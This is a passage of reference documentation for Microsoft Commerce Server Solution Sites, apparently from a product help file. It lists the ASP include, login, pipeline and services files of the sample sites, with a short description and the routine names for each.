The files in this folder can be grouped into two major divisions, global libraries and standard libraries. All of the global libraries (global_name_lib) are included and used by the global.asa file. A few of these global files are also used by the BDRefresh.asp and RefreshApp.asp files. The rest of the files are standard libraries that are included by many of the other Active Server Pages (ASP).

The following files are contained in this folder.

File | Description
addr_lib.asp | Contains functions used to retrieve and validate addresses.
analysis.asp | Contains routines used to log Commerce events to the Web server log file for use by Analysis Services.
catalog.asp | Contains routines that deal with catalogs.
const.asp | Stores constants.
form_lib.asp | Contains functions used to render and validate forms.
global_addressbook_lib.asp | Contains functions that describe address forms.
global_cache_lib.asp | Contains a function used to initialize the CacheManager object caches used in the site.
global_catalog_lib.asp | Contains initialization functions for catalogs.
global_creditcards_lib.asp | Contains functions used to retrieve credit card names and field definitions.
global_csf_lib.asp | Contains a subroutine used to initialize the Content Selection Framework (CSF).
global_data_lib.asp | Contains functions used to create and initialize the DataFunctions, SiteConfigReadOnly, BusinessDataAdmin, and GenID objects.
global_forms_lib.asp | Contains functions used to retrieve form and field definitions, and profile attributes.
global_internationalization_lib.asp | Contains functions used to retrieve country name and code lists, and to deal with alternate currencies.
global_main_lib.asp | Contains the Main subroutine called by the global.asa file to create, initialize, and place in application scope many of the objects supplied by Commerce Server.
global_messagemanager_lib.asp | Contains functions used to create and initialize the MessageManager object.
global_predictor_lib.asp | Contains a function used to create the PredictorClient object, and to load the Transaction prediction model from the Data Warehouse.
global_profile_lib.asp | Contains routines used to create and initialize the ProfileService and AuthManager objects, and place all the properties of all the profile schema types into a cached Dictionary object for later reference.
global_siteconfig_lib.asp | Contains routines used to retrieve site configuration information, join a Web farm, and build the dictPages data structure.
global_siteterms_lib.asp | Contains functions used to retrieve and cache site terms for later reference.
global_ui_lib.asp | Contains functions used to initialize site styles.
header.asp | Used to specify the client and server-side code page, response-buffering mode, and so on.
html_lib.asp | Contains functions used to render HTML text, formatting tags, buttons, lists, forms, and tables.
payment.asp | Contains routines used on payment-related pages (crdtcard.asp, dispatch.asp, po.asp, and summary.asp).
setupenv.asp | Used to set up framework variables, retrieve information about the user, and call the Main subroutine.
std_access_lib.asp | Contains routines used to implement page-level access control.
std_cache_lib.asp | Contains routines used to cache fragments and retrieve the cached fragments.
std_cookie_lib.asp | Contains routines used with cookies.
std_dates_lib.asp | Contains date functions.
std_error_lib.asp | Not used.
std_ordergrp_lib.asp | Contains routines used with order groups.
std_pipeline_lib.asp | Contains functions used to retrieve the path of the log file and run the pipeline.
std_profile_lib.asp | Contains routines used to create a new profile, retrieve and update a current profile, check whether the user has a profile, and check whether profiling is enabled on the site.
std_string_lib.asp | Contains routines used for string handling.
std_url_lib.asp | Contains functions used with URLs.
std_util_lib.asp | Contains utility functions used in most pages and also by the global.asa file.
txheader.asp | Used to specify the client and server-side code page, response-buffering mode, and so on, for pages that require a new transaction.


addr_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve and validate addresses.

Routines

GetAddresses

GetAddressType

GetOrganizationAddresses

GetUserAddresses

IsZipCodeValid

LookupRegion

See Also

Solution Sites Include Folder


analysis.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used to log Commerce events to the Web server log file for use by Analysis Services.

Routines

Analysis_ConstructKeyValueString

Analysis_ConstructPRID

Analysis_LogAddToBasket

Analysis_LogEvent

Analysis_LogRemoveFromBasket

Analysis_LogSubmitOrder

See Also

About the Analysis Integration Feature for Solution Sites

Solution Sites Include Folder


catalog.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines that deal with catalogs, and additionally provides the following code declared outside of any routines:

  • Const PRODUCTLIST_PAGE_SIZE = 10
  • Const CATALOG_ROOT_CATEGORY_COLS = "CategoryName,CatalogName"

Routines

EnsureUserHasRightsToCatalog

GetCatalogForUser

GetPriceAndCurrency

htmRenderCatalogList

htmRenderCategoriesList

htmRenderCategoryPage

htmRenderProductsTable

mscsGetCategoryObject

mscsGetProductList

mscsGetSubCategoriesList

mscsUserCatalogs

mscsUserCatalogsetID

mscsUserCatalogsFromID

RenderCatalogLink

RenderCatalogURL

RenderCategoryLink

RenderCategoryURL

RenderProductLink

RenderProductURL

RenderSearchResultRow

RenderSearchResults

rsFreeTextSearch

sUserCatalogsAsString

See Also

About the Catalog Feature for Solution Sites

Solution Sites Include Folder


const.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is used for storing constants when extending the Solution Sites. This file is intentionally empty. For increased performance, the shipped versions of the Solution Sites store constants in a type library.

See Also

Constants in Solution Site Applications

Solution Sites Include Folder


form_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to render and validate forms.

Routines

bMatchesPattern

GetFieldsErrorDictionary

GetSubmittedFieldValues

htmRenderFillOutForm

IsFormSubmitted

See Also

Solution Sites Include Folder


global_addressbook_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions that describe address forms.

Routines

GetAddressBookAddressFieldDefinitions

GetAddressFieldDefinitions

GetShipToAddressFieldDefinitions

See Also

About the Address Management for Solution Sites

Solution Sites Include Folder


global_cache_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains a function used to initialize the CacheManager object caches used in the site.

Routines

InitCacheManager

See Also

Solution Sites Include Folder


global_catalog_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains initialization functions for catalogs.

Routines

dictGetCatalogAttributes

dictGetRSFields

InitCatalogManager

InitCatalogSets

Remarks

This file is used by both the global.asa and BDRefresh.asp files.

See Also

About the Catalog Feature for Solution Sites

Solution Sites Include Folder


global_creditcards_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve credit card names and field definitions.

Routines

GetCreditCardCodesList

GetCreditCardFieldDefinitions

GetCreditCardNamesList

See Also

Solution Sites Include Folder


global_csf_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains a subroutine used to initialize the Content Selection Framework (CSF).

Routines

InitCSF

See Also

Solution Sites Include Folder


global_data_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to create and initialize the DataFunctions, SiteConfigReadOnly, BusinessDataAdmin, and GenID objects.

Routines

GetDWConnectionString

InitDataFunctions

oGetBizDataObject

oGetGenIDObject

Remarks

This file is used by both the global.asa and RefreshApp.asp files.

See Also

Solution Sites Include Folder


global_forms_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve form and field definitions, and profile attributes.

Routines

dictGetPropertySchema

GetFormDefinitions

GetLoginFieldDefinitions

GetPasswordFieldDefinition

GetPurchaseOrderFieldDefinitions

GetRegistrationFieldDefinitions

Remarks

This file is used by both the global.asa and RefreshApp.asp files.

See Also

Solution Sites Include Folder


global_internationalization_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve country name and code lists, and to process alternate currencies.

Routines

GetBillToCurrenciesListItems

GetBillToCurrenciesListValues

GetBillToCurrencyFieldDefinition

GetCountryCodesList

GetCountryNamesList

InitAltCurrencyDisp

See Also

Enabling International Features for Solution Sites

Solution Sites Include Folder


global_main_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains the Main subroutine called by the file global.asa to create, initialize, and place in application scope many of the objects supplied by Commerce Server.

Routines

Main

See Also

Solution Sites Include Folder


global_messagemanager_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains a function used to create and initialize the MessageManager object.

Routines

GetMessageManagerObject

See Also

Solution Sites Include Folder


global_predictor_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains a function used to create the PredictorClient object, and to load the Transaction prediction model from the Data Warehouse.

Routines

InitPredictor

See Also

About Prediction for Solution Sites

Solution Sites Include Folder


global_profile_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used to create and initialize the ProfileService and AuthManager objects. All the properties of all the profile schema types are placed into a cached Dictionary object for later reference.

Routines

AddGroupAndPropertySchemas

dictGetProfileSchemaForAllProfileTypes

InitAuthManager

InitProfileService

listGetProfileSchema

oGetOpenConnectionObject

oGetProfile

See Also

About the Profiles Feature for Solution Sites

Solution Sites Include Folder


global_siteconfig_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used to retrieve the site configuration information, join a Web farm, and build the dictPages data structure.

Routines

GetAppConfigObject

GetBaseURL

GetCommerceSiteInstallPoint

GetCommerceSiteName

GetComputerName

GetConfigDictionary

GetINIFileName

GetINIString

GetMachineBaseURL

GetPaymentMethodsForSite

GetRootPath

GetSecurePagesDictionary

GetSiteConfigObject

GetSitePages

iGetWebServerPort

InitPageSets

InitSitePipelines

IsActiveDirectoryPresent

JoinWebFarm

sGetActiveDirectoryDefaultNamingContext

Remarks

This file is used by both the global.asa and RefreshApp.asp files.

See Also

Solution Sites Include Folder


global_siteterms_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve and cache site terms for later reference.

Routines

bIsSiteTerm

oGetSiteTermOptions

sGetReferenceString

Remarks

This file is used by both the global.asa and RefreshApp.asp files.

See Also

Solution Sites Include Folder


global_ui_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to initialize site styles.

Routines

GetSiteStyles

GetStyles

See Also

Solution Sites Include Folder


header.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file (or the txheader.asp file, its transactional counterpart) should be included at the top of every page. It is used to specify the client and server-side code page, response-buffering mode, and so on.

Remarks

This file provides the following initialization code:

  • @ LANGUAGE=VBScript EnableSessionState=False
  • Option Explicit
  • Response.Charset = Application("MSCSPageEncodingCharSet")
  • Response.Buffer = True
  • Response.CacheControl = "no-cache"
  • Response.AddHeader "Pragma", "no-cache"
  • Response.Expires = -1
  • g_sPipelineProgID = "Commerce.PooledPipeline"

This file is used for all the Active Server Pages (ASP) in the following folders:

  • Root - except for the files crdtcard.asp and po.asp, which use the txheader.asp file
  • Error
  • About the Login Feature for Solution Sites
  • Services - except for the help.asp file
  • Services\Customer
  • Services\Error
  • Services\Partner

See Also

Solution Sites Include Folder


html_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to render HTML text, formatting tags, buttons, lists, forms, and tables.

Routines

Bold

BRTag

GetRepeatStyle

InsertBlankSpace

InsertLineBreaks

InsertParagraphBreaks

Italic

PTag

RenderCheckBox

RenderElement

RenderForm

RenderHiddenField

RenderImage

RenderImageButton

RenderLink

RenderListBox

RenderListBoxFromArray

RenderListBoxFromSimpleList

RenderListFromSimpleList

RenderPasswordBox

RenderPreFormattedText

RenderRadioButton

RenderResetButton

RenderSubmitButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderTableRow

RenderText

RenderTextBox

RenderUnorderedList

RenderUnorderedListFromSimpleList

Tag

See Also

Solution Sites Include Folder


payment.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used on payment-related pages (crdtcard.asp, dispatch.asp, po.asp, and summary.asp).

Routines

CatchErrorsForPaymentPages

About the Checkout Feature for Solution Sites

EnsureSupportForPaymentMethod

GetDefaultPaymentMethodForUser

GetPaymentMethodDisplayName

GetPaymentMethodsForUser

GetPaymentPageFromPaymentMethod

GetXMLForVendorItems

htmRenderPaymentOptionsForUser

InvokeBizTalk

SaveBasketAsOrder

SubmitUsingBizTalk

See Also

About the Analysis Integration Feature for Solution Sites

About the Payment Options Feature for Solution Sites

Solution Sites Include Folder


setupenv.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is used to set up framework variables, retrieve information about the user, and call the Main subroutine.

Routines

SetupPage

Remarks

This file performs the following actions:

  • Sets application variables into local variables
  • Sets up framework variables
  • Corrects for case sensitivities in the URL
  • Retrieves the user ID and sets the user type and access type
  • Calls the Main subroutine of the file it is included in

See Also

Solution Sites Include Folder


std_access_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file includes routines to implement page-level access control.

Routines

EnsureAccess

EnsureAuthAccess

IsFormLoginRequired

IsPersistentCookieAllowed

CheckPartnerServiceAccess

GetUserInfo

sGetUserIDForNewGuestUser

GetAuthManagerObject

See Also

Page-level Access Control for Solution Sites

Solution Sites Include Folder


std_cache_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used to cache fragments and retrieve the cached fragments.

Routines

CacheFragment

CacheObject

LookupCachedFragment

LookupCachedObject

See Also

Solution Sites Include Folder


std_cookie_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used with cookies.

Routines

CorrectRequest

GetCorrectedCookiePath

GetCorrectedHostName

GetIISApplicationName

GetRequestType

SetTestCookie

See Also

Solution Sites Include Folder


std_dates_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve month name and code lists, and year lists.

Routines

GetMonthCodesList

GetMonthNamesList

GetYearsListItems

GetYearsListValues

Remarks

This file is used only by the file include\global_creditcards_lib.asp, which is called only by the global.asa file.

See Also

Solution Sites Include Folder


std_error_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file is not used by the Solution Sites.

See Also

Solution Sites Include Folder


std_ordergrp_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines used with order groups.

Routines

AddDiscountMessages

GetAnyLineItem

GetAnyOrderForm

GetErrorCount

GetLineItemsCount

GetOrderGroup

GetOrderGroupManager

LoadBasket

RemoveEmptyOrderForms

SetKeyOnOrderForms

See Also

Solution Sites Include Folder


std_pipeline_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used to retrieve the path of the log file, and to run the pipeline.

Routines

GetPipelineLogFile

RunMtsPipeline

See Also

Solution Sites Include Folder


std_profile_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file supplies routines to create a new profile, retrieve and update a current profile, check whether the user has a profile, and check whether profiling is enabled on the site.

Routines

EnsureUpToDateUserProfile

EnsureUserProfile

GetCurrentUserProfile

GetNewGuestUserProfile

GetProfileFromDB

GetProfileService

GetUserProfileByLoginName

rsGetProfile

rsGetProfileByKey

UpdateUserProfile

See Also

About the Profiles Feature for Solution Sites

Solution Sites Include Folder


std_string_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains string-handling functions used only by the file stepsrch.asp.

Routines

BooleanToString

RemoveBlankItemsFromArray

sChopOffLeft

sChopOffRight

Space

StringToBoolean

See Also

Solution Sites Include Folder


std_url_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions used with URLs.

Routines

AddURLArguments

GenerateURL

GetRequestString

GetRequestStringRange

GetTicketInUrlArg

GetTicketLocation

See Also

Solution Sites Include Folder


std_util_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains utility functions, and also provides the following code declared outside of any routines:

   SCRIPT LANGUAGE=VBScript RUNAT=Server

Routines

ConvertListToArray

CreateSet

DoubleQuote

FormatOutput

GetAddressPage

GetArrayFromList

GetDictionary

GetDiscountDescription

GetErrorSource

GetFileSystemObject

GetKeyValue

GetListItemIndex

GetObjectInstanceDictionary

GetQualifiedName

GetRecordCount

GetRegExp

GetSimpleList

htmRenderCurrency

IsBitValueSet

IsEntityInArray

IsEntityInList

IsEntityInSet

IsNumberInRange

RsToDict

SortDictionaryKeys

Remarks

This file is included by most pages, and also by the global.asa file.

See Also

Solution Sites Include Folder


txheader.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file (or the header.asp file, its non-transactional counterpart) should be included at the top of every page. It is used to specify the client and server side code page, response-buffering mode, and so on, for pages that require a new transaction. This file is only used by the files crdtcard.asp and po.asp.

Remarks

This file provides the following initialization code:

@ TRANSACTION=REQUIRES_NEW LANGUAGE=VBScript EnableSessionState=False
Option Explicit
Response.Charset = Application("MSCSPageEncodingCharSet")
Response.Buffer = True
Response.CacheControl = "no-cache"
Response.AddHeader "Pragma", "no-cache"
Response.Expires = -1
g_sPipelineProgID = "Commerce.PooledTxPipeline"

See Also

Solution Sites Include Folder


Solution Sites Login Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder provide the functionality of the login/logoff process.

The following files are contained in this folder.

File | Description
login.asp | Displays the login page and validates submitted login data.
logoff.asp | Displays the logoff page.
newuser.asp | Used to register new users.
_guest.asp | Redirects the user to the home page as an anonymous user.


login.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides functions to prepare and display the login page.

Routines

Main

PrepareLoginPage

htmRenderLoginPage

ValidateSubmittedLoginData

MoveBasketItems

Remarks

Submitted login data is validated and a ticket is set in a cookie (if enabled on the client) or a URL query string. If used in a Web farm, a timestamp cookie is set.

See Also

About the Login Feature for Solution Sites

Solution Sites Login Folder


logoff.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides functions to prepare and display the logoff page, and logs the user off when the page is run.

Routines

Main

PrepareLogoffPage

htmRenderLogoffPage

Remarks

If the user has an authentication ticket (AUTH_TICKET) or a Web farm timestamp cookie, it is removed. Once logged off, the user is allowed to log in as either as a new anonymous user, or as an existing or new registered user, as appropriate to the site login option.

See Also

About the Login Feature for Solution Sites

Solution Sites Login Folder


newuser.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file provides functions to prepare and display the registration page where users can self-register.

Routines

Main

PrepareNewUserPage

htmRenderNewUserPage

bRegistrationPageNotAvailable

iValidateSubmittedRegistrationData

mscsNewRegisteredUserProfile

mscsTransferGuestUserProfile

Remarks

The submitted user name is checked for uniqueness. If the user currently has an anonymous profile, it is upgraded to a registered profile. If not, a new profile is created. Upon creation, a ticket is issued so that the user can be tracked throughout the session and possibly in future sessions.

See Also

About the Login Feature for Solution Sites

Solution Sites Login Folder


_guest.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file redirects the user to the home page (default.asp) as an anonymous user.

Routines

Main

See Also

About the Login Feature for Solution Sites

Solution Sites Login Folder


Solution Sites Pipeline Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This folder contains files that implement the pipeline feature.

The following subfolder is contained in this folder:

Folder | Description
Logfiles | Stores pipeline log files, if pipeline logging is enabled.

The following files are contained in this folder:

File | Description
Advertising.pcf | Content Selection Framework (CSF) pipeline that selects targeted advertising.
Basket.pcf | Order Processing pipeline (OPP) that gathers basket information and computes the order subtotal.
Checkout.pcf | OPP that receives and accepts payment information and completes the transaction.
Discounts.pcf | CSF pipeline that selects targeted discounts.
Product.pcf | OPP that looks up information about a specific product. This pipeline is not used in the default implementation of the Solution Sites.
RecordEvent.pcf | CSF pipeline that records targeted content event information to a database.
Recvpo.pcf | OPP that enables the Web site to receive orders through Biz Talk Server.
Total.pcf | OPP that computes the shipping and handling charges, tax, and the order total.


Logfiles Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This folder stores pipeline log files, if pipeline logging is enabled.

The following file is contained in this folder:

File | Description
empty.tmp | A placeholder file.

See Also

Pipelines for Solution Sites

Solution Sites Pipeline Folder


Advertising.PCF

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Content Selection Framework (CSF) pipeline that selects targeted advertising.

Remarks

This pipeline can be added to the Retail or Supplier Solution Sites to implement targeted discounts, but it is not implemented in the default configuration of the Solution Sites.

For more information about the stages and components in the Advertising.pcf file, see Content Selection Pipelines.

See Also

About the Ads for Solution Sites

Pipelines for Solution Sites

Solution Sites Pipeline Folder


basket.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that gathers basket information and computes the order subtotal.

Remarks

The basket.pcf file is modeled on the plan.pct (pipeline configuration template) file. For more information about the plan.pct file, see Plan Pipeline.

See Also

About the Basket Feature for Solution Sites

Pipelines for Solution Sites

Solution Sites Pipeline Folder


checkout.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that receives and accepts payment information.

See Also

About the Checkout Feature for Solution Sites

Pipelines for Solution Sites

Solution Sites Pipeline Folder


Discounts.PCF

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Content Selection Framework (CSF) pipeline that selects targeted discounts.

Remarks

This pipeline can be added to the Retail or Supplier Solution Sites to implement targeted discounts, but it is not implemented in the default configuration of the Solution Sites.

For more information about the stages and components in the Discounts.pcf file, see Content Selection Pipelines.

See Also

About the Discounts Feature for Solution Sites

Pipelines for Solution Sites

Solution Sites Pipeline Folder


product.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that enters the line item detail for each item in the basket.

See Also

About the Basket Feature for Solution Sites

Pipelines for Solution Sites

Solution Sites Pipeline Folder


RecordEvent.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Content Selection Framework (CSF) pipeline that records targeted content event information to a database.

Remarks

This pipeline can be added to the Retail or Supplier Solution Sites, but it is not included in the default configuration of the Solution Sites.

See Also

Pipelines for Solution Sites

Solution Sites Pipeline Folder


recvpo.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that enables the Web site to receive orders through BizTalk Server.

See Also

About the BizTalk Server Integration Feature

Pipelines for Solution Sites

Solution Sites Pipeline Folder


total.pcf

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Order Processing pipeline (OPP) that computes the sum of the subtotal, tax, shipping, and handling values.

See Also

About the Checkout Feature for Solution Sites

Payment

Pipelines for Solution Sites

Solution Sites Pipeline Folder


Solution Sites Services Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder and subfolders are used for Customer and Partner Services. Customer Services allows users to modify their profiles and view order information. Partner Services allows adminstrators to search and view order information, and to search and modify profiles of users of their organization.

The following subfolders are contained in this folder.

Folder | Description
Customer | Files in this folder allow users to modify their own profile, search for orders, and view order information.
Error | Files in this folder provide for the client display of various error messages.
Include | Files in this folder are used by the files in the Customer Folder and the Partner Folder.
Partner | Files in this folder allow adminstrators to search and view order information, and to search and modify profiles of members of their organization.

The following files are contained in this folder.

File | Description
change_password.asp | Initializes the Partner Desk for changing the user_security_password property of a UserObject profile.
help.asp | This file is a placeholder for a help page.


Customer Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder allow users to modify their own profile, search for orders, and view order information.

The following files are contained in this folder.

File | Description
account.asp | Allows users to view and modify their own profile.
orders.asp | Allows users to search for their orders.
view_order.asp | Allows users to view their orders.


account.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows users to view and modify their own profile.

Routines

Main

See Also

Services\Customer Folder


orders.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows users to search for their orders.

Routines

Main

OrderListActionHandler

See Also

Services\Customer Folder


view_order.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file allows users to view their orders.

Routines

Main

See Also

Services\Customer Folder


Solution Sites Error Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder provide for the client display of various error messages. The error messages are obtained from the rc.xml file.

The following files are contained in this folder.

File | Description
badaction.asp | Displays the message that an invalid action was requested.
noaccess.asp | Displays the message that the user does not have the necessary privileges to access the page.
noorder.asp | Displays the message that the requested order is not available.
noorgprofile.asp | Displays the message that the user does not belong to an organization.
noprofile.asp | Displays the message that the posted profiles are invalid.


badaction.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the message that an invalid action was requested.

Routines

Main

See Also

Services\Error Folder


noaccess.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the message that the user does not have the necessary privileges to access the page.

Routines

Main

See Also

Services\Error Folder


noorder.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the message that the requested order is not available.

Routines

Main

See Also

Services\Error Folder


noorgprofile.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the message that the user does not belong to an organization.

Routines

Main

See Also

Services\Error Folder


noprofile.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file displays the message that posted profiles are invalid.

Routines

Main

See Also

Services\Error Folder


Solution Sites Include Folder

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The files in this folder are used by the files in the Services\Customer and Services\Partner folders except for global_service_lib.asp, which is included by the file global.asa.

The following files are contained in this folder.

File | Description
ad_routines.asp | Contains functions to add or remove a user from an Active Directory group.
check_profile.asp | Contains functions for checking whether a profile exists and whether a profile being edited has changed.
const.asp | Defines constants used in Customer and Partner Services.
delete_profiles.asp | Contains routines for deleting profiles.
edit_handlers.asp | Contains action handlers (for example, add, delete, copy, and so on).
get_profiles.asp | Contains functions for retrieving profile properties or a list of profiles.
global_service_lib.asp | Used to assign friendly names to Customer and Partner Services pages, and adds attributes and styles to these pages. Included by the file global.asa.
initialize.asp | Contains routines to initialize the variables (action, subaction, and profile ID) used in all the Partner and Customer Services pages.
lib.asp | Contains general routines.
list_handlers.asp | Contains action handlers for "selecting" in list-type pages.
logic_orders.asp | Contains routines to prepare the order page before rendering.
messagebox_handlers.asp | Contains the action handler for the Save changes confirmation message box.
order_handlers.asp | Contains action handlers for the order details page.
password_handlers.asp | Contains action handlers for the change password form.
profiles_common.asp | Contains routines to build T_SQL statements for use with the Profiling System.
render_common.asp | Contains common rendering functions.
render_edit_blank.asp | Contains common rendering functions for blank editing pages.
render_edit_common.asp | Contains common rendering functions for editing pages.
render_edit_multi.asp | This file is intentionally empty.
render_edit_single.asp | This file is intentionally empty.
render_list.asp | Contains common list rendering routines.
render_messagebox.asp | Contains functions for rendering various types of message boxes.
render_orders.asp | Contains functions for rendering the orders page.
render_password.asp | Contains functions for rendering the change password form.
requisition.asp | Contains routines for retrieving orders and order details requested by the user.
save_all_profiles.asp | Contains common routines for saving profiles when the Select All option is in use.
save_multiple_profiles.asp | This file is empty. In multi-select mode, profiles are saved one-by-one by the file save_one_profile.asp.
save_one_profile.asp | Contains common routines for creating and saving single profiles. In multi-select cases, the profiles are saved one-by-one.


ad_routines.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions to add or remove a user from an Active Directory group.

Routines

bAddUserToGroup

bPaintACLForUser

bRemoveUserFromGroup

See Also

Services\Include Folder


check_profile.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions for checking whether a profile exists and whether a profile being edited has changed.

Routines

bCheckIfProfileExists

bIsPropertyValueAdded

bProfileHasChanged

See Also

Services\Include Folder


const.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file defines constants used in Customer and Partner Services.

Routines

None.

See Also

Services\Include Folder


delete_profiles.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines for deleting profiles.

Routines

DeleteAllProfiles

DeleteRegisteredUser

DeleteSelectedProfiles

DeleteSingleProfile

sGetWhereClauseForCurrentUser

See Also

Services\Include Folder


edit_handlers.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains action handlers (add, delete, copy, and so on).

Routines

DeleteAllActionHandler

DeSelectAllActionHandler

GetStatusFieldAndID

htmAddActionHandler

htmChangePasswordActionHandler

htmCloseActionHandler

htmCopyActionHandler

htmDeleteActionHandler

htmEditAction

htmEditAllProfiles

htmInsertProfile

htmSaveActionHandler

htmSaveAllActionHandler

htmSaveProfiles

htmSelectActionHandlerForEdit

htmSelectedActionHandlerForEdit

PrepareAddAction

PrepareCloseAction

PrepareCopyAction

PrepareDeleteAction

PrepareDeleteAllAction

PrepareDeselectAllAction

PrepareEditAction

PrepareEditAllAction

PrepareInsertProfile

PrepareSaveAction

PrepareSaveAllAction

PrepareSaveProfiles

PrepareSelectActionHandlerForEdit

PrepareSelectAllAction

PrepareSelectedAction

SelectAllActionHandler

See Also

Services\Include Folder


get_profiles.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains functions for retrieving profile properties or a list of profiles.

Routines

GetAttributeValueFromProfile

GetOrgAttributeFromID

GetUserPropertyFromID

rsGetOrgDetails

rsGetProfileDetails

rsGetProfilesList

rsGetUserDetails

sGetUserFullName

sGetUserLoginName

See Also

Services\Include Folder


global_service_lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file assigns friendly names to Customer and Partner Services pages, and adds attributes and styles to these pages.

Routines

AddPartnerAndCustomerServicePages

AddPartnerAndCustomerServiceStyles

GetPartnerAndCustomerServicePageAttributes

Remarks

This file is included by the file global.asa.

See Also

Services\Include Folder


initialize.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains routines to initialize the variables (action, subaction, and profile ID) used in all the Partner and Customer Services pages.

Routines

InitializePartnerDesk

sGetAction

sGetIDFromForm

sGetSelectedIDs

sGetSubAction

See Also

Services\Include Folder


lib.asp

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This file contains general routines used by Customer and Partner Services.

Routines

bCheckIfThePropertyFeatureIsSupported

bInvalidDate

bValidateLoginNameChars

bValidatePasswordChars

CheckIfOrderExists

